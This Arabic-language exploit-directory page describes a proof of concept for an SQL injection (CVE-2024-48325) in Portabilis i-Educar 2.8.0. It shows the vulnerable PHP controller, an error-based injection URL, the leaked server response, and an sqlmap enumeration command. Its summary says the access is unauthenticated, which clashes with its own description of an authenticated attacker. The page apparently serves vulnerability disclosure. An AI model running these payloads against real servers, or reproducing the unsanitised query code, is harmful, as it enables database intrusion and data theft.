Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2024-48325 — إثبات المفهوم لحقن SQL في Portabilis i-Educar 2.8.0، يوضح الوصول غير المصادق إلى قاعدة البيانات عبر نقطة النهاية getDocuments مع الاستغلال الآلي باستخدام SQLMap. | Kitploit
أدوات/GitHubGitHub/osvaldotenorio/cve-2024-48325
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقأمن قواعد البيانات
GitHubosvaldotenorio/cve-2024-48325

cve-2024-48325

إثبات المفهوم لحقن SQL في Portabilis i-Educar 2.8.0، يوضح الوصول غير المصادق إلى قاعدة البيانات عبر نقطة النهاية getDocuments مع الاستغلال الآلي باستخدام SQLMap.

عرض المستودع
30منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-48325

الوصف: يمكن لمستخدم موثوق استغلال ثغرة حقن SQL في دالة getDocuments من الصنف InstituicaoDocumentacaoController. المعامل instituicao_id في /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id لا يتم تنظيفه بشكل صحيح، مما يسمح لمهاجم عن بعد موثوق بحقن أوامر SQL خبيثة.

الإصدارات: تم اكتشافها في Portabilis i-Educar 2.8.0.

إثبات المفهوم

تفاصيل الثغرة

المشكلة موجودة في دالة getDocuments في الصنف InstituicaoDocumentacaoController، والتي يمكن تشغيلها من خلال النقطة الطرفية التالية:

class InstituicaoDocumentacaoController extends ApiCoreController
{
    protected function insertDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $var2 = $this->getRequest()->titulo_documento;
        $var3 = $this->getRequest()->url_documento;
        $var4 = $this->getRequest()->ref_usuario_cad;
        $var5 = $this->getRequest()->ref_cod_escola;
        $sql = "INSERT INTO pmieducar.instituicao_documentacao (instituicao_id, titulo_documento, url_documento, ref_usuario_cad, ref_cod_escola) VALUES ($var1, '$var2', '$var3', $var4, $var5)";
        $this->fetchPreparedQuery($sql);
        $sql = "SELECT MAX(id) FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1";
        $novoId = $this->fetchPreparedQuery($sql);
        return ['id' => $novoId[0][0]];
    }
    
    protected function getDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1 ORDER BY id DESC";
        $instituicao = $this->fetchPreparedQuery($sql);
        $attrs = ['id', 'titulo_documento', 'url_documento', 'ref_usuario_cad', 'ref_cod_escola'];
        $instituicao = Portabilis_Array_Utils::filterSet($instituicao, $attrs);
        return ['documentos' => $instituicao];
    }
}

كيفية حدوث الثغرة

يتم استخدام المعامل instituicao_id مباشرة في استعلامات SQL دون تنظيف أو معاملية مناسبة. وهذا يسمح للمهاجمين بإرسال طلبات HTTP خبيثة لحقن أوامر SQL، مما قد يؤدي إلى الوصول غير المصرح به إلى قاعدة البيانات أو التلاعب بالبيانات.

  • مثال لنقطة طرفية تُشغل الثغرة: /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14
  • مثال للاستغلال: /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14+AND+(CAST(VERSION()+AS+INTEGER))%3d1

استجابة الخادم:

{
    "oper": "get",
    "resource": "getDocuments",
    "msgs": [
        {
            "msg": "Exception: Error preparing query (SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC) in the database: Exception: SQLSTATE[22P02]: Invalid text representation: 7 ERROR: invalid input syntax for type integer: \"PostgreSQL 16.4 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit\" (Connection: pgsql, SQL: SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC)",
            "type": "error"
        }
    ],
    "any_error_msg": true
}

الاستغلال الآلي

  • يمكن أيضًا استغلال هذه الثغرة بواسطة أدوات آلية مثل SQLMap، مما يسمح بتعداد قاعدة البيانات: sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5

SQLMap

تنزيل الأداة